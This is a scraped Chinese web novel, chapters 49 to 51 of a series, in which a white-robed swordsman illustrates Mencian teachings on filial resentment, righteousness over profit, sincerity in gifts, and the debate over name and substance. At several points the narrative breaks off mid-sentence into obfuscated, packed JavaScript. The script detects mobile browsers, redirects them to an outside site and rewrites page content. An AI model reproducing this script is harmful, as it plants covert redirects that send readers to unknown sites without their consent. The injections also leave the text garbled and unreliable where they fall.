“非高叟固,是论诗不察情。”白衣人温言,“诗三百,一言蔽之,曰思无邪。《小弁》之怨,思父之正也。今我三人,可共解此诗。” 遂于高子书斋,展卷共读。白衣人逐句解之: “‘弁彼鸴斯,归飞提提’——鸟尚知归,人何以堪?是怨中之慕。 ‘民莫不穀,我独于罹’——人皆有福,我独遭难。是怨中之悲。 ‘维桑与梓,必恭敬止’——见父植之桑梓,犹生恭敬。是怨中之孝。” 高子听至“靡瞻匪父,靡依匪母”,老泪纵横:“老夫…老夫误矣!昔我父责我严,我怨之,后父殁,方知严是爱。此诗…此诗是我心也!” 公孙忧亦泣。白衣人叹:“高叟今解戚怨矣。” 三、 弁风之衡 三人论诗至深夜。公孙忧问:“先生,《凯风》《小弁》,皆孝子诗,然一怨一不怨,何以衡?” 白衣人取案上杯、盏:“此杯大,可容一升;此盏小,容一台。今父过如杯,子以盏量之,是苛;父过如盏,子以杯量之,是纵。《小弁》父过大,如杯,故怨如杯;《凯风》母过小,如盏,故不怨。此怨与不怨,皆在量过。” 高子恍然:“是谓‘亲之过大而不怨,是愈疏也;亲之过小而怨,是不可矶也’。” “然。”白衣人续道,“愈疏,是视亲如越人,不孝;不可矶(激怒),是锱铢必较,亦不孝。今人常见二病——” 他竖二指:“一病,亲有大过而漠然。如父赌败家,子不言,是纵亲成恶,此不孝之甚。 二病,亲有小过而苛责。如母忘添衣,子怒斥,是伤亲心,亦不孝。 《凯风》七子,母欲改嫁,是小过,子以劳慰之,是孝。 《小弁》太子,父逐己,是大过,子以怨谏之,亦是孝。 二者殊途,同归仁心。” 公孙忧问:“然则何以知过大过小?” “问心。”白衣人指胸,“戚与疏,在己心。若亲过伤你如兄射,是过大,当怨而谏;若亲过如蚊叮,是过小,当谅而慰。但得亲亲之心,自有分寸。” 高子拊掌:“善!此谓‘诗无达诂,情有通义’。” 白衣人取笔墨,就诗页边白,书“弁风衡”: “亲之过大,怨是孝; 亲之过小,慰是孝。 戚则涕谏,疏则笑忘。 但存亲亲,莫失仁窍。” 高子捧读,涕泣下拜:“先生今日,解我数十年诗障。” 四、 戚怨之化 自此,高子墨诗风大变。昔论诗苛严,今多温厚。有弟子作《慈乌吟》,怨父远游,同门斥“不孝”,高子止之,引《小弁》解:“此子戚怨,是思父也。但导以慰谏,莫责以疏。” 又作《弁风新解》,刊行于世。金陵诗风,渐重人情。 公孙忧从高子学诗,然常问:“诗可济世否?”高子不能答。白衣人闻之,引二人至市井。 见一少年跪衙前,泣诉父赌,卖家产。衙役驱之:“子告父,不孝!”少年泣:“不告,父将死!” 白衣人问高子:“此子怨父,是《小弁》否?” “是…然法不允子告父。” “法不允,情允否?”白衣人正色,“昔舜父杀人,舜负父逃。法是法,情是情。《小弁》之怨,是情之正。今此子怨父赌,是过大之怨,当如《小弁》,怨而谏,谏而救。” 遂助少年,不告官,而劝父。父初怒,白衣人示以《弁风新解》,父读“亲之过大而不怨,是愈疏也”,大恸,戒赌。父子抱泣。 高子叹:“诗之用,在化人心。” 又见老妇斥子:“不肖!粥淡即怨!”子跪泣。白衣人问公孙忧:“此怨是《凯风》否?” “是,过小而怨。” “然则当如何?” 公孙忧近前,温言慰妇:“母劳煮粥,子当感恩。然子非怨粥淡,是忧母忘盐,恐母体衰忘事。”妇感泣,子亦惭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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《小弁》怨父是亲爱, 《凯风》慰母亦孝衷。 高叟当年固诗解, 公孙此后仁心通。 但得人间识戚疏, 何愁诗教不淳风?” 吟罢,倚碑望月。亭畔老梅,新花初绽,幽香暗渡。 似在说: 怨啊,不怨啊。 都在亲亲二字。 本章诫世 一、 戚疏之辨 - 越人射我谈笑,兄射垂涕,是疏戚之别。《小弁》之怨,是兄射之涕 - 破解法:见人怨亲,莫轻斥“不孝”,当察是戚是疏 - 示例:高叟以疏论戚,固于字面;白衣人以情解诗,方得真义 二、 怨慰之衡 - 亲过大而不怨是愈疏,亲过小而怨是不可矶,皆不孝 - 惕世:多少人对亲大过漠然(如父赌、母溺),对亲小过苛责(如忘事、唠叨)? - 反思:对亲之怨,是戚怨,还是疏怨? 三、 诗在人情 - 诗以道情,情以亲亲。但存仁心,弁风可通 - 深层隐喻:文艺批评当重人情,莫固于教条 - 终极指向:一切伦理,皆在“亲亲”二字 弁风偈: 开成五年金陵秋,高叟论诗成锢囚。 弁风之怨辩戚疏,白衣释情醒叟眸。 亲亲方是诗家髓,怨慰皆从仁心流。 至今碑亭梅月夜,犹闻吟咏说刚柔。 后世叹: 大梁金陵停云社,高叟斥弁成话柄。 白衣详辩戚疏义,公孙继开仁厚境。 诗在人情不在字,怨因亲亲非悖性。 寄语世间论诗客,莫将涕泪作笑听。 正是: 《小弁》之怨是亲亲,高叟固哉诗论偏。 越人射我谈笑道,兄弓射我涕涟涟。 《凯风》慰母过小者,《小弁》谏父过大愆。 但得心中存戚义,何分怨慰两诗篇? 49. 利义谳 楔子石丘遇 时天下兵戈,秦楚相攻,战于石丘。尸骸蔽野,鸦噪荒原。 有策士宋牼,素以辩才闻,自诩“弭兵先生”,自宋赴楚,欲说楚王罢兵。行至石丘,见残阳如血,道旁有白衣人倚枯树,斗笠面纱,木剑负背,正以布帛拭剑上血污。 宋牼揖问:“先生何故拭剑?” 白衣人抬头,目如寒星:“剑染尘,当拭。世染血,当如何?” 宋牼傲然:“吾正为此行。将说楚王罢兵,若楚王不从,再说秦王。必弭此战。” 白衣人收剑:“愿闻先生说辞。” “当言战之不利。”宋牼抚须,“秦楚相攻,损耗钱粮,伤亡士卒,于两国皆弊。若罢兵盟好,互市通商,利莫大焉。” 白衣人默然片刻,忽道:“先生志则大矣,号则不可。” 宋牼不悦:“何以不可?” 一、 利说之弊 时值暮色四合,荒丘风起。白衣人引宋牼至一残垣,指地上散落箭矢:“先生看,此矢可为利乎?” 宋牼不解。白衣人拾一矢折之:“矢以木为干,以铁为镞,以羽为翎。制矢需工匠,工匠需衣食,衣食需耕织。此皆利也。今两国以利相争,故有此矢。” 又指远处营火:“秦楚之王,若悦于利,先生以利说之,或可罢兵。然三军将士闻之:‘罢兵因利。’从此心中只存利字。为臣者怀利事君,为子者怀利事父,为弟者怀利事兄。君臣父子兄弟,终去仁义,以利相接——” 他掷断矢于地,铿然有声:“如此,国虽暂安,实已亡矣!何也?人怀利心,则君疑臣,父猜子,兄防弟。一旦利尽,刀兵又起,且甚于前。此谓饮鸩止渴。” 宋牼汗出,强辩:“然弭兵救民,总是善举…” “善举需善名。”白衣人正色,“先生以利说王,是教天下:‘万事利为先’。今日罢兵为利,明日或可兴兵为利。譬如教子:‘汝孝我,我予汝金。’子孝为金,非为亲。他日无金,子还孝否?” 宋牼语塞。白衣人遥指战场哀鸿:“先生听,此哭声中有利否?丧子之父,丧夫之妇,所痛者利耶?情耶?今先生但言利,是轻此情,重彼货。纵罢兵,人心已坏。” 忽有数骑驰至,乃秦军游哨。见二人,抽刀喝问:“细作耶?” 宋牼急道:“我乃说客,欲见楚王…” 白衣人却踏前一步,朗声:“行路之人,非细作。尔等可曾思:此战为谁而打?为君之利耶?为己之命耶?” 骑兵一怔。白衣人续道:“若为君利,君利非汝利;若为己命,今持刀向前,命在呼吸。何不归家事父母,养妻儿?” 一骑泣曰:“吾父战死于此…”掷刀而去。余骑面面相觑,竟皆散去。 宋牼骇然:“先生一言退兵?” “非我言退兵,是其本心有仁,被利蔽耳。”白衣人叹,“今请先生易说辞——以仁义说王,可愿?” 二、 义说之试 宋牼踌躇:“恐王不听仁义…” “不听仁义,是王无道;不说仁义,是说者无勇。”白衣人道,“我随先生往,先试于民间,如何?” 时近村落,十室九空。有老妪携孙,于废墟中掘野菜。白衣人问:“阿婆,若秦楚罢兵,汝愿否?” 妪泣:“罢兵好…然我儿死矣,罢兵何益?” 宋牼脱口:“罢兵可复民生,汝孙可安…” 白衣人截道:“阿婆,若罢兵因仁义,汝子虽死,犹有义名;若罢兵因利,汝子是为利死,可值?” 妪怔然,忽抱孙恸哭:“我儿…我儿本不愿战,是被征…他说‘忠君’…” “忠是义,非利。”白衣人温言,“今若以义说王罢兵,汝子之死,是警世之钟,可醒后人。若以利说,汝子之死,不过账目一笔。汝愿何者?” 妪跪拜:“愿…愿有义名!” 又见一溃兵,断臂呻吟。宋牼欲赠金,白衣人止,问:“壮士,若知此战不义,可还战否?” 兵泣:“早知不义…然上官言‘斩首赏金,退后斩首’…” “此是以利驱人。”白衣人叹,“今我为你裹伤,非因利,因你是人,当救。” 兵泣谢。白衣人谓宋牼:“见否?民本慕义,为利所迫。今先生若倡利,是火上浇油;若倡义,是雪中送炭。” 宋牼拜服:“愿从先生学义说。” “非学我,是学本心。”白衣人道,“你我分途,你说楚,我说秦。皆以仁义为辞,看孰能成。” 宋牼疑:“先生可进秦营?” 白衣人指木剑:“此即通符。” 三、 义入秦营 是夜,秦军大营。秦王正议战,忽报营外有人歌曰: “战为利兮伤仁义, 罢兵为义兮利自随。 君王但怀仁义心, 何需干戈定雄雌?” 王怒,命擒入。白衣人飘然进帐,不拜不揖。秦王叱:“汝歌讽我?” “非讽,是谏。”白衣人朗声,“大王以为,此战可利秦否?” “自然!得楚地,增民赋,岂非利?” “得地需守,守需兵,兵需粮,粮需民。民苦战久矣,今得楚地,如得病躯,反耗元气。此利耶?弊耶?” 秦王语塞。白衣人续道:“若大王以仁义罢兵,则天下闻:‘秦能行仁义。’楚民感德,他日或自愿归附。今以力取,楚民怀怨,十年生聚,必复报仇。是暂得地,久遗患。仁义罢兵,方是久利。” 帐下将军吼:“书生妄言!岂可罢兵?” 白衣人视之:“将军有几子?” “三千。” “若三千皆战死,将军心痛否?” 将军色变。白衣人环视众将:“诸君皆有父母妻儿。今驱士卒死战,是为国?为君?为己?若为国,国在民,民死国虚;若为君,君在德,德失君危;若为己,己在仁,仁丧人非。何不谋万全之策——罢兵养民,施仁布义,使敌国不战自服?” 秦王动容:“然…然我已发兵,无功而返,岂不为天下笑?” “笑一时,敬百世。”白衣人正色,“昔周文王伐崇,三战不下,退而修德,崇人自降。今大王若罢兵,天下称仁,岂不美哉?若必战,纵胜,史书亦记‘暴秦’。仁义之利,与刀兵之利,孰重?” 秦王默然良久,忽道:“然楚若来袭…” “楚王亦闻仁义。”白衣人道,“若大王遣使,倡弭兵盟好,楚拒之,是不义,天下共伐。楚若应,是两国之福。此谓以义制利,不战而胜。” 秦王终从,命退兵三十里,遣使赴楚。 四、 义感楚营 时宋牼入楚营,见楚王,本欲说利,忽忆白衣人言,改道:“臣请以仁义说大王。” 楚王嗤:“仁义可退秦兵否?” “仁义在人心,人心向背定胜负。”宋牼昂首,“今秦楚相攻,犹如兄弟阋墙。若大王倡仁义罢兵,则天下归心。秦若拒,是不义,其兵必溃。且士卒皆人子,大王忍其死乎?” 楚王冷笑:“我不忍,秦忍乎?” “秦或不忍。”宋牼道,“然大王先行仁义,是夺其刃。天下剑,莫利于仁;天下甲,莫坚于义。大王披仁义甲,持仁义剑,秦兵虽众,能伤否?” 正言间,秦使至,呈罢兵书。楚王愕然,宋牼暗喜,知白衣人已成。 楚王阅书,沉吟:“秦王真愿罢兵?” 使答:“吾王闻仁义之言,幡然悔悟。愿与大王会于石丘,献血为盟,永结兄弟。” 楚王感泣:“寡人不如秦王矣!”遂允。 翌日,石丘会盟。秦楚二王相见,皆赧然。白衣人现于盟坛,朗声道:“二王今日盟,非为利盟,为义盟。愿自此以仁义相接,不以刀兵相向。” 秦王问:“先生,若他国犯我…” “仁义非懦。”白衣人道,“仁义之师,诛不仁,讨不义。但守本心,何惧外侮?” 楚王问:“士卒已征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088201|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,罢兵后何以安置?” “以仁义安置。”白衣人答,“归者赠田,伤者抚恤,死者旌表。使民知:为国不为利,虽死犹荣;为君不为财,虽贫犹贵。如此,民愿效死,国自然强。” 二王拜服。盟成,各罢兵。 宋牼私问白衣人:“先生真神人也。然利义之辨,可能永续否?” “在人心。”白衣人望四野新坟,“今日种义,他日或收利果。然但行义,莫问果。但教一人怀仁义,便胜万千言利者。” 言罢,踏歌而去: “秦楚构兵石丘秋, 宋牼欲说利为筹。 岂知仁义方根本, 怀利终成亡国由。 君臣父子皆怀义, 何需干戈战未休? 寄语世间说客辈, 莫将利字挂口头。” 歌声渐杳,二王默立。忽有飞雁成行,掠空南去,嘹唳如歌。 尾声义盟碑 秦楚罢兵后,民于石丘立“义盟碑”,刻会盟事。碑阴镌孟子“何必曰利”全章,又附“弭兵三训”: “一训:说客当以义说,莫以利诱。 二训:为政当以义导,莫以利驱。 三训:为民当以义立,莫以利求。 怀利相接,国必亡; 怀义相接,国必昌。 石丘血鉴,永志莫忘。” 碑成,常有策士过此,下马读碑。有欲说列国者,读之汗颜,改辞易辙。 宋牼自此号“义说先生”,专以仁义说诸侯。虽未必皆成,然心无愧。尝谓弟子:“吾昔如贩贾,以利货君;今如医者,以义疗国。虽医不可治必死之症,然医者之心,不可不仁。” 后三十年,秦楚果未大战。民得休养,石丘渐成村落。有童子牧羊,问父:“此地何以名胜?” 父指碑:“昔有白衣客,以一言罢两国兵。此谓‘义胜于利’。” 童问:“若他日我为将,当如何?” 父曰:“读此碑,但问仁义,莫问功勋。” 是夜,白衣人影时现碑前,抚文轻叹: “利乎?义乎?” “一念存亡乎。” 秋草离离,年年荣枯。 似在说: 怀利者,秋草。 怀义者,春松。 本章诫世 一、 利义之择 - 以利说人,虽暂成,实坏人心;以义说人,虽难行,可固根本 - 破解法:遇事抉择,莫问“有何利”,当问“合义否” - 示例:宋牼初欲以利弭兵,是饮鸩止渴;后从白衣人以义说,方得久安 二、 怀利之危 - 君臣父子兄弟皆怀利,则国必亡;皆怀义,则国必王 - 惕世:多少“双赢”“互利”,实是纵容利心?多少“成功学”,实是败德经? - 反思:所行所言,是怀利,是怀义? 三、 仁义之利 - 仁义自有大利,然求仁者不当言利 - 深层隐喻:文明根基在道义,非在功利 - 终极指向:但行仁义,莫问利害;但问是非,莫计得失 利义偈: 秦楚构兵石丘秋,宋牼欲以利说休。 白衣指陈怀利弊,一言能令二王羞。 罢兵非为暂安计,弭战当从仁义求。 至今残碑风雨里,犹闻当年说客忧。 后世叹: 战乱年间石丘逢,策士宋牼说弭兵。 欲以利害动王听,白衣论义醒愚蒙。 怀利终使家国丧,行仁方得社稷宁。 寄语世间游说客,千秋大义在丹诚。 正是: 秦楚相攻战未休,宋牼石丘遇剑俦。 欲以利说弭兵祸,终从义论罢戈矛。 怀利必使君臣乖,行仁自令天下柔。 至今义盟碑上月,犹照行人辨薰莸。 50. 币享谳 楔子不报之疑 时值列国兵争,邹邑有儒生孟柯,避乱寓居。是年冬,两处礼至:一为任国季任所赠,时季任为任国守臣;一为齐国储子所馈,储子乃齐相。孟柯皆受之,皆不报。 门人屋庐子窃喜,谓同窗:“吾得隙矣!夫子见季子不见储子,必因储子为相,位高而怠乎?” 遂问孟柯:“夫子往任国见季子,至齐却不见储子,可是因储子为相,仪节不周?” 孟柯摇首:“非也。《书经》有云:‘享献贵在礼仪,若仪不及物,便是不享,因其心不在此。’储子之馈,不成享礼。” 屋庐子恍然,悦而退。有客问故,屋庐子道:“季子守任,不能亲来邹;储子相齐,可至平陆而未至。此仪不及物也。” 客不解,屋庐子亦难尽述。是夜,有白衣人影现于庭中,斗笠面纱,木剑负背,手执两封束帖,轻笑: “季任守任不之邹, 储子相齐可至陆。 享礼岂在币帛厚, 但看诚心足不足。” 一、 束帖之辨 屋庐子惊起揖问,白衣人示以束帖:“此二帖,一为季子笔,一为储子书,子可辨高下?” 屋庐子观之,季子帖曰:“任国边守季任,遥拜孟夫子。道阻兵凶,不克亲谒,谨奉薄币,惟祈康吉。他日若得履邹,当执弟子礼。”字迹朴拙,有刀兵气。 储子帖曰:“齐相储子致孟先生:闻先生贤,赠币交欢。他日过齐,可来相见。”字迹工丽,然寥寥数语。 屋庐子疑:“季子帖恭,储子帖傲。然馈币相当,夫子何以别之?” 白衣人问:“子见猎户献鹿与贵人赐帛,孰诚?” “猎户献鹿,是敬贤;贵人赐帛,是施恩。” “然也。”白衣人颔首,“季子守任,职责在身,不能离境,是‘不得之邹’。然束帖情深,如面谒。储子为相,齐都至平陆,不过数日路程,是‘得之平陆而未至’。此所谓‘仪不及物’——物(币帛)至而仪(诚心)不至,便是不成享礼。” 屋庐子恍然:“是故夫子往任见季子,是报其诚;不见储子,是责其慢。” “非责,是明礼。”白衣人正色,“今乱世,多有人以币帛交结,自谓礼贤。然礼在诚,不在币。夫子不受虚礼,正是立范。” 言未已,有客至,乃纵横家公孙衍,闻孟柯受币不报,特来讥讽。闻二人言,嗤道:“孟轲迂哉!季任、储子皆馈币,何分彼此?得馈是实,见与不见是虚。何不虚与委蛇,广结善缘?” 白衣人转视公孙衍:“先生以为,猎户赠鹿与贵人赐帛,可同日语乎?” “皆为肉耳!” “差矣。”白衣人取桌上茶盏,“此盏,我敬君饮,是礼;我掷地,令君自拾,亦是予盏。可同乎?” 公孙衍语塞。白衣人续道:“季子是‘敬赠’,储子是‘赐交’。一字之别,千里之遥。夫子明察秋毫,正是圣贤处。若如先生言,来者不拒,是自堕为货,待价而沽矣。” 公孙衍面红而去。屋庐子拜服:“听先生一席,胜读十年礼经。” 二、 三享之验 越明日,有三人携礼来谒孟柯。一为鲁商,赠金百镒;一为邹邑乡老,赠腊肉一束;一为邻童,赠野菊数枝。 孟柯见鲁商,辞金不受;见乡老,受肉而谢;见邻童,受菊插瓶,抚童首嘉许。 屋庐子又不解。白衣人问:“子观三人,孰诚?” 屋庐子思忖:“鲁商赠最厚,然目有求色;乡老赠虽薄,情意殷切;邻童纯真,菊是亲采。” “是矣。”白衣人道,“此即‘享多仪,仪不及物曰不享’。鲁商赠厚仪薄,是‘不役志于享’;乡老赠薄仪厚,是诚享;邻童无仪有真,是至享。夫子分别待之,正是教礼。” 时孟柯召屋庐子,问:“汝明三赠之别乎?” 屋庐子谨答:“鲁商以利交,乡老以情交,邻童以真交。” 孟柯莞尔:“然。礼者,心之文也。文胜质则史,质胜文则野。鲁商文胜,邻童质胜,乡老文质彬彬。我受乡老之肉,是报其文质;受邻童之菊,是护其天真;辞鲁商之金,是戒其文胜。” 屋庐子大悟。白衣人在侧,拊掌道:“夫子此判,可为天下式。” 未几,有季任使者至,再奉束帖,言:“守臣季任,蒙夫子不弃,亲临赐教。今任地有贤士三人,慕夫子德,愿附函荐之。”附三名刺,皆布衣之士。 又有储子使者至,亦奉束帖:“相国储子,闻夫子过齐不见,甚憾。特再赠玉璧一双,望夫子笑纳。” 孟柯展季任帖,见字字恳切,荐士皆详其品行,叹:“季子诚人也。”欣然回书。 观储子帖,但见礼单,无一字问学,默然置之。使者催问,孟柯道:“请回禀相国:孟轲非贾人,不受无名之赐。” 屋庐子问:“季子亦赠,何别?” 孟柯曰:“季子赠而荐贤,是重道;储子赠而炫富,是轻士。享礼在心,岂在币乎?” 白衣人闻之,对屋庐子道:“此即‘不得之邹’与‘得之平陆’之别。季子不能亲至,然以荐贤代躬,是仪胜物;储子可至而不至,以币代诚,是物胜仪。夫子明察,正在此微芒间。” 三、 享礼之教 事传邹邑,有富绅效储子,具厚礼往赠名士,皆遭拒。绅怒,诘孟柯:“先生拒储子,是教人轻礼乎?” 时孟柯游于郊,白衣人代答:“非拒礼,是重礼。礼者,自卑而尊人。今君赠礼,是尊人乎?是炫富乎?” 绅不服。白衣人指田间老农:“此老,昨日赠夫子瓜一枚,夫子受而谢。君赠千金,夫子却之。何也?” “瓜贱金贵!” “谬矣。”白衣人摇头,“老农赠瓜,是‘享’;君赠金,是‘市’。享者,以诚相敬;市者,以利相易。夫子不受市,是守礼之洁。” 绅语塞。白衣人又引至学舍,见童子互赠竹马、泥人。问:“此是礼否?” “童戏耳,何礼之有?” “此是真礼。”白衣人正色,“无求无饰,纯然相悦,是礼之本。君赠金,可有此纯心?” 绅惭而退。孟柯闻之,谓门人:“白衣客深得礼意。汝等当记:享礼不在物厚,在诚至;交际不在利交,在义合。季子以诚,故我见之;储子以利,故我不见。此非傲,是谨。” 屋庐子问:“然则世途交际,何以别诚利?” 孟柯曰:“观其志。志在道者,礼薄亦诚;志在利者,礼厚亦伪。季子守任而荐贤,志在道;储子为相而炫富,志在利。岂难辨耶?” 是夜,白衣人辞行。屋庐子问:“先生何以教我辈?” 白衣人指天上月:“月照万物,不分贵贱。然浊水映月则昏,清水映月则明。礼如月,心如水。心诚则礼明,心利则礼浊。但修诚心,自能辨浊清。” 言罢,踏月而去,吟哦声袅袅: “季任守任币交深, 储子相齐礼数沉。 享多仪重物难及, 一片诚心胜万金。 不见非为傲卿相, 相见正是重儒襟。 寄语世间交结者, 莫将币帛换知音。” 四、 享碑之立 后数岁,孟柯道彰,从者日众。屋庐子为纪“币享之辨”,于邹邑立“享礼碑”,刻孟子受币事。碑阴镌“享礼三鉴”: “一鉴:物不及仪,是谓不享。 赠厚而心薄,不如勿赠。 二鉴:仪不及物,是谓虚享。 礼繁而意浅,不如简诚。 三鉴:心物相称,是谓真享。 片诚抵万金,一语重九鼎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088202|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 季子守任不之邹, 储子得至未亲临。 千古享礼分明在, 莫将诚心等浮沉。” 碑成,有游士过而哂:“孟轲矫情!受人之礼,何必厚此薄彼?” 适有乡童采野果奉母,过碑下,闻之仰首:“先生,我若赠你果,你喜否?” 游士随口:“喜。” “若我夺人果赠你,你喜否?” 游士怔然。童曰:“季子之赠,如我采果;储子之赠,如夺人果。虽皆果,可同乎?” 游士大惭,揖童而去。时人传为佳话。 后逢战乱,邹邑遭兵燹,碑仆。乱平,乡人重修,见碑底有字,乃当年白衣人所题: “礼者,心之镜也。 照人肝胆,洞悉伪真。 季子之诚,储子之慢, 千年以下,犹在镜中。 愿后来者, 赠人勿吝诚, 受礼须察心。 诚至则物轻, 心伪则礼重。 慎之,慎之!” 众乃知白衣人非凡,奉碑如圭臬。自此邹邑风俗,赠必以诚,受必以义。有客赠千金而意傲,童子亦拒之。 尾声享礼余韵 百年后,有使臣过邹,见“享礼碑”,问典故。乡老述孟柯、季任、储子事。使臣叹:“今世交际,但重币帛,不问诚伪。此碑当立朝堂!” 归国后,仿立“交谊碑”于驿馆。然效者寥寥,多笑其迂。 一夕,有白衣人影现驿馆,抚碑叹: “季子储子俱尘埃, 享礼真伪碑上载。 世人但羡千金赠, 谁解诚心片字来? 礼失非为玉帛薄, 交疏皆因利欲薆。 愿得清风洗尘眼, 莫将市井作兰台。” 叹罢,挥剑于碑侧刻: “赠者无心莫赠金, 受者有义可受针。 千古交游唯一字, 诚。” 刻毕,掷剑长啸,踏月而去。馆外古柏,飒飒如涛。 似在说: 诚啊,伪啊。 碑上分明。 本章诫世 一、 享礼在诚 - 享多仪,仪不及物曰不享,惟不役志于享 - 破解法:受人礼,当察其诚;赠人礼,当尽己诚 - 示例:季任守任不能至,而诚在帖中;储子可至而不至,是仪不及物 二、 得至之别 - 季子不得之邹,储子得之平陆,此诚伪之关键 - 惕世:多少“礼到人不到”是轻慢?多少“人未到礼到”是无奈? - 反思:交际往来,是“不得”而诚,还是“得而不为”? 三、 心物之衡 - 礼在心物之间,心重物轻是真享,物重心轻是虚礼 - 深层隐喻:一切人情往来,皆映心镜 - 终极指向:诚为礼魂,无诚不礼 享礼偈: 兵乱年间邹邑中,季任储子币交同。 一诚一伪分明辨,孟轲不见与见公。 享礼岂在玉帛厚,交情只向寸心通。 至今碑文风雨蚀,犹说诚心古今崇。 后世叹: 孟轲居邹避兵凶,季任储子币交重。 受而不报见有别,屋庐问故得启蒙。 享多仪不及物是虚,诚至物轻乃为恭。 寄语世间赠受者,莫将礼数等常庸。 正是: 季任守任币交深,储子相齐礼数沉。 享多仪重物难及,诚至心真义可钦。 不见非为傲卿相,相见正是重儒襟。 千古交游贵在诚,莫将币帛论浅深。 51. 名实谳 楔子三卿疑 战国兵燹,齐稷下学宫有辩士淳于髡,以机锋名世。时孟子去齐,淳于髡闻而哂曰:“孟轲居三卿之位,名实未加于上下而去,仁者固如此乎?” 是日,淳于髡宴客,席间高谈:“今之儒者,口称仁政,然仕则无功,去则无名,何益于国?” 忽有白衣人拊掌而入,斗笠面纱,木剑负背,朗声应和:“先生高见!然不知名实之辨,是观鱼于岸,还是入水得鳞?” 满座皆惊。淳于髡眯眼:“足下何人?” “过路客,闻高论而来。”白衣人自取酒饮,“先生言孟子名实未加而去,敢问名实如何加?” 淳于髡傲然:“名者,治世之名;实者,富国之实。孟子在齐,未使齐强,未使民富,无功而去,岂非浪得虚名?” 白衣人笑:“依先生见,百里奚在虞无名,在秦得名,是百里奚变耶?抑或虞秦异耶?” 一语如锥,席间寂然。 一、 三子道 淳于髡色变:“足下为孟子作说客耶?” “非也,为‘仁’字作注。”白衣人正色,“孟子曰:伯夷不事不肖,伊尹五就汤桀,柳下惠不恶污君。三子不同道,其趋一也。先生可知‘一’者何?” “仁耳,何需问?” “仁为何态?”白衣人环视众人,“伯夷之仁是清,伊尹之仁是任,柳下惠之仁是和。清者未必能和,任者未必能清,和者未必能任。然皆为仁。今先生以‘有功于国’为仁之唯一态,是以伯夷为不仁?以伊尹为多事?以柳下惠为苟且?” 座中有儒生击节:“妙哉!仁如水,盛方则方,盛圆则圆,岂有定态?” 淳于髡冷笑:“然孟子非三子,居三卿而无功,是仁否?” 白衣人反问:“昔鲁缪公用公仪子、子柳、子思,鲁削滋甚。是贤者无益于国否?” “此正是我疑!” “然虞不用百里奚而亡,秦用百里奚而霸。”白衣人目光如剑,“同一百里奚,在虞则虞亡,在秦则秦霸,是百里奚变耶?是君用之变耶?今孟子在齐,齐王用之乎?听之乎?行其道乎?” 淳于髡语塞。白衣人续道:“昔王豹居淇,河西善讴;绵驹处高唐,齐右善歌。是王豹、绵驹使河西齐右皆善歌耶?是其歌感人,民自化之。孟子在齐,虽未强齐,然稷下学子受其化,齐民闻其道,此非功耶?必若商鞅变法,杀人盈野,方为功耶?” 满座哗然。淳于髡怒:“然则无功而去,终是名实不副!” 白衣人忽问:“先生可闻孔子去鲁事?” 二、 燔肉行 淳于髡嗤:“孔子为肉而去,吾所不取。” “谬矣!”白衣人拍案,“孔子为鲁司寇,不用,从而祭,燔肉不至,乃行。不知者以为为肉,其知者以为为无礼。实乃孔子欲以微罪行,不欲苟去。今孟子去齐,亦如是——不欲显君之过,故以‘名实未加’自承其责。此君子之仁,众人固不识。” 座中一老者颤巍巍起:“老朽昔在鲁,曾闻孔子去鲁时,弟子问:‘燔肉不至,何遽行?’孔子叹:‘鲁无道也,然吾不欲彰君恶,故托微罪而行。’孟子去齐,恐同此心。” 白衣人揖道:“长者明鉴。今淳于先生以‘名实’责孟子,是未知君子用心。譬如有医,治君疾,君不服其药,医去。庸人讥:‘医无能!’智者叹:‘君不纳!’先生是庸人耶?智者耶?” 淳于髡面红耳赤,强辩:“然有诸内必形诸外,贤者必有功。孟子无功,是非贤。” “华周、杞梁之妻善哭其夫而变国俗,是哭有功耶?”白衣人直视淳于髡,“哭者,内悲外发,感化民俗。孟子行道,内仁外发,感化学子,此非形诸外耶?必若变法强兵,方为形耶?若如此,华周杞梁之妻,当持戈杀敌,方为有功?” 满座大笑。淳于髡汗出如浆。 白衣人斟酒,敬淳于髡:“先生辩才无双,然辩在口,仁在心。孟子心仁,故可清可任可和;先生辩仁,然以名实绳仁,是以管窥天。髡尝言‘无贤者也,有则髡必识之’,今孟子在侧而不识,是孟子非贤耶?抑或髡目眇耶?” 淳于髡掷杯长叹:“吾败矣!”踉跄欲出。 白衣人拦道:“先生留步。辩非为胜败,为明理。今既明孟子之心,可愿同往观其行?” 三、 微罪观 翌日,孟子将离齐,弟子拥泣。淳于髡与白衣人隐于道旁观。 见齐王使者赍金帛来,谓孟子:“王悔矣,愿留夫子,授以上卿。” 孟子揖:“轲无状,名实未加于上下,不敢受。” 使者再三请,孟子固辞。有弟子悄问:“夫子真以无功去耶?” 孟子叹:“非无功,是不可为。齐王好战,欲以霸道强齐,非吾道也。强留何益?” 淳于髡闻之,对白衣人低语:“是矣,道不同不相为谋。” 白衣人问:“此可是‘微罪行’?” “然。托言名实未加,是保齐王颜面,亦全己志节。” 忽有齐民数百,捧浆果跪道左:“闻夫子去,吾等不舍。夫子教子弟孝悌,乡里少讼,此非功耶?” 孟子下车,一一扶起:“此民之善,非轲之功。”竟不受馈,登车而去。 